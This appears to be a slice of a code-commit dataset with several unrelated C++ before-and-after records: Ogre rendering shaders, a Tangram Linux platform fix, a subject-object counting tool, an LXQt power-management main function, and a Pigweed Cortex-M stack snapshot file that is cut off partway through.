Ogre::String PixelShaderTextured_HLSL(\"\"\n\"uniform float alphaPercentage;\\n\"\n\"struct VS_OUT\\n\"\n\"{\\n\"\n\"\tfloat4 position : POSITION;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"   float2 uv : TEXCOORD0;\\n\"\n\"};\\n\"\n\"\\n\"\n\"float4 main(float4 colour : COLOR, float2 uv : TEXCOORD0, \"\n\"               uniform sampler2D texture0 : TEXUNIT0) : COLOR\\n\"\n\"{\\n\"\n\"   colour = tex2D(texture0, uv) * colour;\\n\"\n\"   colour.a *= alphaPercentage;\\n\"\n\"\treturn colour;\\n\"\n\"}\\n\"\n\"\\n\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String VertexShaderTextured_GLSL_Compat(\"\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_TexCoord[0] = gl_MultiTexCoord0;\"\n    \"    gl_FrontColor = gl_Color;\"\n    \"    gl_Position = modelViewProjMatrix * gl_Vertex;\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String PixelShaderTextured_GLSL_Compat(\"\"\n    \"uniform sampler2D texture0;\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_FragColor = texture2D(texture0, gl_TexCoord[0].st) * gl_Color;\"\n    \"    gl_FragColor.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String VertexShaderColoured_GLSL_Compat(\"\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_FrontColor = gl_Color;\"\n    \"    gl_Position = modelViewProjMatrix * gl_Vertex;\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String PixelShaderColoured_GLSL_Compat(\"\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\\n\"\n    \"{\"\n    \"    gl_FragColor = gl_Color;\"\n    \"    gl_FragColor.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL3 vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_GLSL(\"\"\n    \"#version 150 core\\n\"\n\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n\n    \"in vec4 vertex;\\n\"\n    \"in vec4 colour;\\n\"\n\n    \"out vec4 exColour;\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   exColour = colour;\\n\"\n\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL3 fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_GLSL(\"\"\n    \"#version 150 core\\n\"\n\n    \"in vec4 exColour;\\n\"\n\n    \"out vec4 fragColour;\\n\"\n\n    \"uniform float alphaPercentage;\\n\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   fragColour = exColour;\\n\"\n    \"   fragColour.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL3 vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_GLSL(\"\" \n    \"#version 150 core\\n\"\n\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n\n    \"in vec4 vertex;\\n\"\n    \"in vec4 colour;\\n\"\n    \"in vec2 uv0;\\n\"\n\n    \"out vec2 exTexCoord;\\n\"\n    \"out vec4 exColour;\\n\"\n\n    \"void main()\\n\"\n    \"{\\n\"\n    \"   exTexCoord = uv0;\\n\"\n    \"   exColour = colour;\\n\"\n\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL3 fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String PixelShaderTextured_GLSL(\"\" \n    \"#version 150 core\\n\"\n\n    \"uniform sampler2D texture0;\\n\"\n    \"uniform float alphaPercentage;\\n\"\n\n\n    \"in vec2 exTexCoord;\\n\"\n    \"in vec4 exColour;\\n\"\n\n    \"out vec4 fragColour;\\n\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   fragColour = texture(texture0, exTexCoord) * exColour;\\n\"\n    \"   fragColour.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL ES 2.0 \/ GLES 1.0 vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_GLSLES1(\"\"\n    \"#version 100\\n\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"attribute vec4 vertex;\\n\"\n    \"attribute vec4 colour;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   exColour = colour;\\n\"\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL ES 2.0 \/ GLES 1.0 fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_GLSLES1(\"\"\n    \"#version 100\\n\"\n    \"varying vec4 exColour;\\n\"\n    \/\/\"varying vec4 dummyColor;\\n\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \/\/\"     dummyColor = exColour;\\n\"\n    \"     gl_FragColor = exColour;\\n\"\n    \/\/\"     gl_FragColor.a = gl_FragColor.a * alphaPercentage;\\n\"\n    \"     gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL ES 2.0 \/ GLES 1.0 vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_GLSLES1(\"\" \n    \"#version 100\\n\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"attribute vec4 vertex;\\n\"\n    \"attribute vec4 colour;\\n\"\n    \"attribute vec2 uv0;\\n\"\n    \"varying vec2 exTexCoord;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main()\\n\"\n    \"{\\n\"\n    \"   exTexCoord = uv0;\\n\"\n    \"   exColour = colour;\"\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL ES 2.0 \/ GLES 1.0 fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String PixelShaderTextured_GLSLES1(\"\" \n    \"#version 100\\n\"\n    \"uniform sampler2D texture0;\\n\"\n    \"uniform lowp float alphaPercentage;\\n\"\n    \"varying vec2 exTexCoord;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"     gl_FragColor = texture2D(texture0, exTexCoord) * exColour;\\n\"\n    \"     gl_FragColor.a = gl_FragColor.a * alphaPercentage;\\n\"\n    \"}\"\n);\n\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"linuxPlatform.h\"\n#include \"linuxSystemFontHelper.h\"\n#include \"gl\/hardware.h\"\n#include \"log.h\"\n#include <algorithm>\n#include <stdio.h>\n#include <stdarg.h>\n#include <libgen.h>\n#include <unistd.h>\n#include <sys\/resource.h>\n#include <sys\/syscall.h>\n\n#if defined(TANGRAM_LINUX)\n#include <GLFW\/glfw3.h>\n#elif defined(TANGRAM_RPI)\n#include \"context.h\"\n#endif\n\nnamespace Tangram {\n\nvoid logMsg(const char* fmt, ...) {\n    va_list args;\n    va_start(args, fmt);\n    vfprintf(stderr, fmt, args);\n    va_end(args);\n}\n\nLinuxPlatform::LinuxPlatform() {\n    m_urlClient = std::make_unique<UrlClient>(UrlClient::Options{});\n    m_fcConfig = FcInitLoadConfigAndFonts();\n}\n\nLinuxPlatform::LinuxPlatform(UrlClient::Options urlClientOptions) :\n    m_urlClient(std::make_unique<UrlClient>(urlClientOptions)) {\n    m_fcConfig = FcInitLoadConfigAndFonts();\n}\n\nLinuxPlatform::~LinuxPlatform() {\n    FcConfigDestroy(m_fcConfig);\n}\n\nvoid LinuxPlatform::shutdown() {\n    \/\/ Stop all UrlWorker threads\n    m_urlClient.reset();\n\n    Platform::shutdown();\n}\n\nvoid LinuxPlatform::requestRender() const {\n    if (m_shutdown) { return; }\n    glfwPostEmptyEvent();\n}\n\nstd::vector<FontSourceHandle> LinuxPlatform::systemFontFallbacksHandle() const {\n\n    \/\/ Read system fontconfig to get list of fallback font for each\n    \/\/ supported language\n    auto fallbackFonts = systemFallbackFonts(m_fcConfig);\n\n    \/\/ Create FontSourceHandle from the found list of fallback fonts\n    std::vector<FontSourceHandle> handles;\n    handles.reserve(fallbackFonts.size());\n\n    std::transform(std::begin(fallbackFonts), std::end(fallbackFonts),\n                   std::back_inserter(handles),\n                   [](auto& path) { return FontSourceHandle(Url(path)); });\n\n    return handles;\n}\n\nFontSourceHandle LinuxPlatform::systemFont(const std::string& _name,\n                                           const std::string& _weight,\n                                           const std::string& _face) const {\n\n    auto fontFile = systemFontPath(m_fcConfig, _name, _weight, _face);\n\n    if (fontFile.empty()) { return {}; }\n\n    return FontSourceHandle(Url(fontFile));\n}\n\nPlatform::UrlRequestId LinuxPlatform::startUrlRequest(Url _url, UrlRequestHandle _handle) {\n    UrlRequestId id = UrlRequestNotCancelable;\n\n    if (_url.hasHttpScheme()) {\n        id = m_urlClient->addRequest(_url.string(),\n             [this, _handle](UrlResponse&& response) {\n                 onUrlResponse(_handle, std::move(response));\n             });\n    } else {\n        \/\/UrlRequestId id = static_cast<UrlRequestHandle>(--m_urlRequestCount);\n\n        m_fileWorker.enqueue([this, path = _url.path(), _handle](){\n             UrlResponse response;\n             auto allocator = [&](size_t size) {\n                 response.content.resize(size);\n                 return response.content.data();\n             };\n\n             Platform::bytesFromFileSystem(path.c_str(), allocator);\n             onUrlResponse(_handle, std::move(response));\n        });\n    }\n    return id;\n}\n\nvoid LinuxPlatform::urlRequestCanceled(Platform::UrlRequestId _id) {\n    m_urlClient->cancelRequest(_id);\n}\n\nvoid setCurrentThreadPriority(int priority) {\n    setpriority(PRIO_PROCESS, 0, priority);\n}\n\nvoid initGLExtensions() {\n    Tangram::Hardware::supportsMapBuffer = true;\n}\n\n} \/\/ namespace Tangram\n<commit_msg>squash: linux fixup+cleanup<commit_after>#include \"linuxPlatform.h\"\n#include \"linuxSystemFontHelper.h\"\n#include \"gl\/hardware.h\"\n#include \"log.h\"\n#include <algorithm>\n#include <stdio.h>\n#include <stdarg.h>\n#include <libgen.h>\n#include <unistd.h>\n#include <sys\/resource.h>\n#include <sys\/syscall.h>\n\n#if defined(TANGRAM_LINUX)\n#include <GLFW\/glfw3.h>\n#elif defined(TANGRAM_RPI)\n#include \"context.h\"\n#endif\n\nnamespace Tangram {\n\nvoid logMsg(const char* fmt, ...) {\n    va_list args;\n    va_start(args, fmt);\n    vfprintf(stderr, fmt, args);\n    va_end(args);\n}\n\nLinuxPlatform::LinuxPlatform() {\n    m_urlClient = std::make_unique<UrlClient>(UrlClient::Options{});\n    m_fcConfig = FcInitLoadConfigAndFonts();\n}\n\nLinuxPlatform::LinuxPlatform(UrlClient::Options urlClientOptions) :\n    m_urlClient(std::make_unique<UrlClient>(urlClientOptions)) {\n    m_fcConfig = FcInitLoadConfigAndFonts();\n}\n\nLinuxPlatform::~LinuxPlatform() {\n    FcConfigDestroy(m_fcConfig);\n}\n\nvoid LinuxPlatform::shutdown() {\n    \/\/ Stop all UrlWorker threads\n    m_urlClient.reset();\n\n    Platform::shutdown();\n}\n\nvoid LinuxPlatform::requestRender() const {\n    if (m_shutdown) { return; }\n    glfwPostEmptyEvent();\n}\n\nstd::vector<FontSourceHandle> LinuxPlatform::systemFontFallbacksHandle() const {\n\n    \/\/ Read system fontconfig to get list of fallback font for each\n    \/\/ supported language\n    auto fallbackFonts = systemFallbackFonts(m_fcConfig);\n\n    \/\/ Create FontSourceHandle from the found list of fallback fonts\n    std::vector<FontSourceHandle> handles;\n    handles.reserve(fallbackFonts.size());\n\n    std::transform(std::begin(fallbackFonts), std::end(fallbackFonts),\n                   std::back_inserter(handles),\n                   [](auto& path) { return FontSourceHandle(Url(path)); });\n\n    return handles;\n}\n\nFontSourceHandle LinuxPlatform::systemFont(const std::string& _name,\n                                           const std::string& _weight,\n                                           const std::string& _face) const {\n\n    auto fontFile = systemFontPath(m_fcConfig, _name, _weight, _face);\n\n    if (fontFile.empty()) { return {}; }\n\n    return FontSourceHandle(Url(fontFile));\n}\n\nPlatform::UrlRequestId LinuxPlatform::startUrlRequest(Url _url, UrlRequestHandle _handle) {\n    UrlRequestId id = UrlRequestNotCancelable;\n\n    if (_url.hasHttpScheme()) {\n        id = m_urlClient->addRequest(_url.string(),\n             [this, _handle](UrlResponse&& response) {\n                 onUrlResponse(_handle, std::move(response));\n             });\n    } else {\n        m_fileWorker.enqueue([this, path = _url.path(), _handle](){\n             UrlResponse response;\n             auto allocator = [&](size_t size) {\n                 response.content.resize(size);\n                 return response.content.data();\n             };\n\n             Platform::bytesFromFileSystem(path.c_str(), allocator);\n             onUrlResponse(_handle, std::move(response));\n        });\n    }\n    return id;\n}\n\nvoid LinuxPlatform::urlRequestCanceled(Platform::UrlRequestId _id) {\n    if (m_urlClient) {\n        m_urlClient->cancelRequest(_id);\n    }\n}\n\nvoid setCurrentThreadPriority(int priority) {\n    setpriority(PRIO_PROCESS, 0, priority);\n}\n\nvoid initGLExtensions() {\n    Tangram::Hardware::supportsMapBuffer = true;\n}\n\n} \/\/ namespace Tangram\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <algorithm>\n#include <sstream>\n#include <vector>\n\n\nstruct SvoRow {\n   std::string s;\n   std::string v;\n   std::string o;\n   int n;\n};\n\n\nstruct hashPair {\n   template <class T1, class T2>\n   std::size_t operator () (const std::pair<T1, T2> &p) const {\n      auto value = 0x345678;\n      auto h1 = std::hash<T1>{}(p.first);\n      auto h2 = std::hash<T2>{}(p.second);\n      value = (100003 * value) ^ h1;\n      value = (100003 * value) ^ h2;\n      return value;\n   }\n};\n\n\nbool compareTuples(std::tuple<std::string, std::string, int> a,\n                     std::tuple<std::string, std::string, int> b) {\n   return std::get<2>(a) > std::get<2>(b);\n}\n\n\nstd::vector<std::string> &split(const std::string &s, char delim,\n                                 std::vector<std::string> &elems) {\n   std::stringstream ss(s);\n   std::string item;\n   while (std::getline(ss, item, delim)) {\n      elems.push_back(item);\n   }\n   return elems;\n}\n\n\nSvoRow rowFromSplit(std::vector<std::string> vec) {\n   SvoRow row;\n   row.s = vec[0];\n   row.v = vec[1];\n   row.o = vec[2];\n   row.n = std::stoi(vec[3]);\n   return row;\n}\n\nstd::vector<std::string> split(const std::string &s, char delim) {\n   std::vector<std::string> elems;\n   split(s, delim, elems);\n   return elems;\n}\n\n\nint main(int argc, char** argv) {\n   if (argc < 2) {\n      std::cout << \"Unspecified N value\" << std::endl;\n      return -1;\n   }\n\n\n   int n = std::stoi(argv[1]);\n   SvoRow row;\n   std::unordered_map<std::pair<std::string, std::string>, int, hashPair> pairs;\n   std::vector<std::tuple<std::string, std::string, int> > ordered;\n   std::string line;\n\n   while (std::getline(std::cin, line)) {\n      std::vector<std::string> elems = split(line, '\\t');\n      row = rowFromSplit(elems);\n      pairs[std::make_pair(row.s, row.o)] += row.n;\n   }\n\n   for (const auto &data : pairs) {\n      ordered.push_back(std::make_tuple(data.first.first,\n                                          data.first.second, data.second));\n   }\n\n   n = std::min(n, (int)ordered.size());\n\n   std::partial_sort(ordered.begin(), ordered.begin() + n,\n                     ordered.end(), compareTuples);\n\n   for (auto it = ordered.begin(); it != ordered.begin() + n; ++it) {\n      std::cout << \"(\" << std::get<0>(*it) << \", \" << std::get<1>(*it)\n                  << \") = \" << std::get<2>(*it) << \"\\n\";\n   }\n}\n<commit_msg>Now read rows linearly, without splitting<commit_after>#include <iostream>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <algorithm>\n#include <sstream>\n#include <vector>\n\n\nstruct SvoRow {\n   std::string s;\n   std::string v;\n   std::string o;\n   int n;\n};\n\n\nstruct hashPair {\n   template <class T1, class T2>\n   std::size_t operator () (const std::pair<T1, T2> &p) const {\n      auto value = 0x345678;\n      auto h1 = std::hash<T1>{}(p.first);\n      auto h2 = std::hash<T2>{}(p.second);\n      value = (100003 * value) ^ h1;\n      value = (100003 * value) ^ h2;\n      return value;\n   }\n};\n\n\nbool compareTuples(std::tuple<std::string, std::string, int> a,\n                     std::tuple<std::string, std::string, int> b) {\n   return std::get<2>(a) > std::get<2>(b);\n}\n\n\nstd::vector<std::string> &split(const std::string &s, char delim,\n                                 std::vector<std::string> &elems) {\n   std::stringstream ss(s);\n   std::string item;\n   while (std::getline(ss, item, delim)) {\n      elems.push_back(item);\n   }\n   return elems;\n}\n\n\nSvoRow rowFromSplit(std::vector<std::string> vec) {\n   SvoRow row;\n   row.s = vec[0];\n   row.v = vec[1];\n   row.o = vec[2];\n   row.n = std::stoi(vec[3]);\n   return row;\n}\n\nstd::vector<std::string> split(const std::string &s, char delim) {\n   std::vector<std::string> elems;\n   split(s, delim, elems);\n   return elems;\n}\n\n\nint main(int argc, char** argv) {\n   if (argc < 2) {\n      std::cout << \"Unspecified N value\" << std::endl;\n      return -1;\n   }\n\n\n   int n = std::stoi(argv[1]);\n   SvoRow row;\n   std::unordered_map<std::pair<std::string, std::string>, int, hashPair> pairs;\n   std::vector<std::tuple<std::string, std::string, int> > ordered;\n   std::string tempString;\n\n   while (std::cin.good()) {\n      std::getline(std::cin, row.s, '\\t');\n      std::getline(std::cin, row.v, '\\t');\n      std::getline(std::cin, row.o, '\\t');\n      std::getline(std::cin, tempString);\n      row.n = std::stoi(tempString);\n      pairs[std::make_pair(row.s, row.o)] += row.n;\n      std::cin.peek();\n   }\n\n   for (const auto &data : pairs) {\n      ordered.push_back(std::make_tuple(data.first.first,\n                                          data.first.second, data.second));\n   }\n\n   n = std::min(n, (int)ordered.size());\n\n   std::partial_sort(ordered.begin(), ordered.begin() + n,\n                     ordered.end(), compareTuples);\n\n   for (auto it = ordered.begin(); it != ordered.begin() + n; ++it) {\n      std::cout << \"(\" << std::get<0>(*it) << \", \" << std::get<1>(*it)\n                  << \") = \" << std::get<2>(*it) << \"\\n\";\n   }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXDE-Qt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Christian Surlykke <christian@surlykke.dk>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include <LXQt\/SingleApplication>\n\n#include <QCommandLineParser>\n\n#include \"mainwindow.h\"\n\nint main(int argc, char *argv[])\n{\n    LXQt::SingleApplication a(argc, argv);\n\n    QCommandLineParser parser;\n    parser.setApplicationDescription(QStringLiteral(\"LXQt Config Powermanagement\"));\n    const QString VERINFO = QStringLiteral(LXQT_POWERMANAGEMENT_VERSION\n                                           \"\\nliblxqt   \" LXQT_VERSION\n                                           \"\\nQt        \" QT_VERSION_STR);\n    a.setApplicationVersion(VERINFO);\n    parser.addVersionOption();\n    parser.addHelpOption();\n    parser.process(a);\n\n    MainWindow mainWindow;\n    mainWindow.setWindowIcon(QIcon::fromTheme(\"preferences-system-power-management\"));\n    mainWindow.show();\n    a.setActivationWindow(&mainWindow);\n\n    return a.exec();\n}\n<commit_msg>lxqt-config-powermanagement: set Qt::AA_UseHighDpiPixmaps to true<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXDE-Qt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Christian Surlykke <christian@surlykke.dk>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include <LXQt\/SingleApplication>\n\n#include <QCommandLineParser>\n\n#include \"mainwindow.h\"\n\nint main(int argc, char *argv[])\n{\n    LXQt::SingleApplication a(argc, argv);\n    a.setAttribute(Qt::AA_UseHighDpiPixmaps, true);\n\n    QCommandLineParser parser;\n    parser.setApplicationDescription(QStringLiteral(\"LXQt Config Powermanagement\"));\n    const QString VERINFO = QStringLiteral(LXQT_POWERMANAGEMENT_VERSION\n                                           \"\\nliblxqt   \" LXQT_VERSION\n                                           \"\\nQt        \" QT_VERSION_STR);\n    a.setApplicationVersion(VERINFO);\n    parser.addVersionOption();\n    parser.addHelpOption();\n    parser.process(a);\n\n    MainWindow mainWindow;\n    mainWindow.setWindowIcon(QIcon::fromTheme(\"preferences-system-power-management\"));\n    mainWindow.show();\n    a.setActivationWindow(&mainWindow);\n\n    return a.exec();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix two bugs.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix Mach-O bound errors<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>do not display jitter information for observers, it is never calculated anyway<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>moved lamp down to partially be embedded within terrain<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2021 The Pigweed Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n\/\/ use this file except in compliance with the License. You may obtain a copy of\n\/\/ the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations under\n\/\/ the License.\n\n#define PW_LOG_LEVEL PW_CPU_EXCEPTION_CORTEX_M_LOG_LEVEL\n\n#include \"pw_cpu_exception_cortex_m\/snapshot.h\"\n\n#include \"pw_cpu_exception_cortex_m\/proto_dump.h\"\n#include \"pw_cpu_exception_cortex_m_private\/config.h\"\n#include \"pw_cpu_exception_cortex_m_private\/cortex_m_constants.h\"\n#include \"pw_cpu_exception_cortex_m_protos\/cpu_state.pwpb.h\"\n#include \"pw_log\/log.h\"\n#include \"pw_protobuf\/encoder.h\"\n#include \"pw_status\/status.h\"\n#include \"pw_thread\/snapshot.h\"\n#include \"pw_thread_protos\/thread.pwpb.h\"\n\nnamespace pw::cpu_exception_cortex_m {\nnamespace {\n\nconstexpr char kMainStackHandlerModeName[] = \"Main Stack (Handler Mode)\";\nconstexpr char kMainStackThreadModeName[] = \"Main Stack (Thread Mode)\";\n\nenum class ProcessorMode {\n  kHandlerMode,\n  kThreadMode,\n};\n\nStatus CaptureMainStack(\n    ProcessorMode mode,\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    uintptr_t stack_pointer,\n    thread::SnapshotThreadInfo::StreamEncoder& snapshot_encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  thread::Thread::StreamEncoder encoder = snapshot_encoder.GetThreadsEncoder();\n\n  const char* thread_name;\n  thread::ThreadState::Enum thread_state;\n  if (mode == ProcessorMode::kHandlerMode) {\n    thread_name = kMainStackHandlerModeName;\n    PW_LOG_DEBUG(\"Capturing thread info for Main Stack (Handler Mode)\");\n    thread_state = thread::ThreadState::Enum::INTERRUPT_HANDLER;\n    PW_LOG_DEBUG(\"Thread state: INTERRUPT_HANDLER\");\n  } else {  \/\/ mode == ProcessorMode::kThreadMode\n    thread_name = kMainStackHandlerModeName;\n    PW_LOG_DEBUG(\"Capturing thread info for Main Stack (Thread Mode)\");\n    thread_state = thread::ThreadState::Enum::RUNNING;\n    PW_LOG_DEBUG(\"Thread state: RUNNING\");\n  }\n  encoder.WriteState(thread_state);\n  encoder.WriteName(std::as_bytes(std::span(std::string_view(thread_name))));\n\n  const thread::StackContext thread_ctx = {\n      .thread_name = thread_name,\n      .stack_low_addr = stack_low_addr,\n      .stack_high_addr = stack_high_addr,\n      .stack_pointer = stack_pointer,\n      .stack_pointer_est_peak = std::nullopt,\n  };\n  return thread::SnapshotStack(thread_ctx, encoder, thread_stack_callback);\n}\n\n}  \/\/ namespace\n\nStatus SnapshotCpuState(\n    const pw_cpu_exception_State& cpu_state,\n    cpu_exception::cortex_m::SnapshotCpuState::StreamEncoder&\n        snapshot_encoder) {\n  cpu_exception::LogCpuState(cpu_state);\n  cpu_exception::cortex_m::ArmV7mCpuState::StreamEncoder cpu_state_encoder =\n      snapshot_encoder.GetArmv7mCpuStateEncoder();\n  pw::cpu_exception::DumpCpuStateProto(cpu_state_encoder, cpu_state);\n  return snapshot_encoder.status();\n}\n\nStatus SnapshotMainStackThread(\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    thread::SnapshotThreadInfo::StreamEncoder& encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  uintptr_t stack_pointer;\n  asm volatile(\"mrs %0, msp\\n\" : \"=r\"(stack_pointer));\n\n  \/\/ First check if we're in Handler mode, AKA handling exceptions\/interrupts.\n  \/\/\n  \/\/ Handler mode vs thread mode can be determined via IPSR, bits 8:0 of xPSR.\n  \/\/ In thread mode the value is 0, in handler mode the value is non-zero.\n  uint32_t xpsr;\n  asm volatile(\"mrs %0, xpsr\\n\" : \"=r\"(xpsr));\n  if ((xpsr & cpu_exception::kXpsrIpsrMask) != 0) {\n    return CaptureMainStack(ProcessorMode::kHandlerMode,\n                            stack_low_addr,\n                            stack_high_addr,\n                            stack_pointer,\n                            encoder,\n                            thread_stack_callback);\n  }\n\n  \/\/ It looks like we're in Thread mode which means we need to check whether\n  \/\/ or not we are executing off the main stack currently.\n  \/\/\n  \/\/ See ARMv7-M Architecture Reference Manual Section B1.4.4 for the control\n  \/\/ register values, in particular the SPSEL bit while in Thread mode which\n  \/\/ is 0 while running off the main stack and 1 while running off the proces\n  \/\/ stack.\n  uint32_t control;\n  asm volatile(\"mrs %0, control\\n\" : \"=r\"(control));\n  if ((control & cpu_exception::kControlThreadModeStackMask) != 0) {\n    return OkStatus();  \/\/ Main stack is not currently active.\n  }\n\n  \/\/ We're running off the main stack in Thread mode.\n  return CaptureMainStack(ProcessorMode::kThreadMode,\n                          stack_low_addr,\n                          stack_high_addr,\n                          stack_pointer,\n                          encoder,\n                          thread_stack_callback);\n}\n\nStatus SnapshotMainStackThread(\n    const pw_cpu_exception_State& cpu_state,\n    uintptr_t stack_low_addr,\n    uintptr_t stack_high_addr,\n    thread::SnapshotThreadInfo::StreamEncoder& encoder,\n    thread::ProcessThreadStackCallback& thread_stack_callback) {\n  const uint32_t exc_return = cpu_state.extended.exc_return;\n\n  \/\/ See ARMv7-M Architecture Reference Manual Section B1.5.8 for the exception\n  \/\/ return values, in particular bits 0:3.\n  \/\/ Bits 0:3 of EXC_RETURN:\n  \/\/ 0b0001 - 0x1 Handler mode Main\n  \/\/ 0b1001 - 0x9 Thread mode Main\n  \/\/ 0b1101 - 0xD Thread mode Process\n\n  \/\/ First check whether the CPU state shows the main stack was active.\n  if ((exc_return & cpu_exception::kExcReturnStackMask) != 0) {\n    return OkStatus();  \/\/ Main stack is not currently active.\n  }\n  const uintptr_t stack_pointer = cpu_state.extended.msp;\n\n  \/\/ Second, check if we're in Handler mode, AKA handling exceptions\/interrupts.\n  const ProcessorMode mode =\n      ((exc_return & cpu_exception::kExcReturnModeMask) == 0)\n          ? ProcessorMode::kHandlerMode\n          : ProcessorMode::kThreadMode;\n\n  return CaptureMainStack(mode,\n                          stack_low_addr,\n                          stack_high_addr,\n                          stack_pointer,\n                          encoder,\n                          thread_stack_callback);\n}\n\n}  \/\/ namespace pw::cpu_exception_cortex_m\n<commit_msg>pw_cpu_exception_cortex_m: Fix encoder usage<commit_after>\/\/ Copyright 2021 The Pigweed Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n\/\/ use this file except in compliance with the License. You may obtain a copy of\n\/\/ the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS 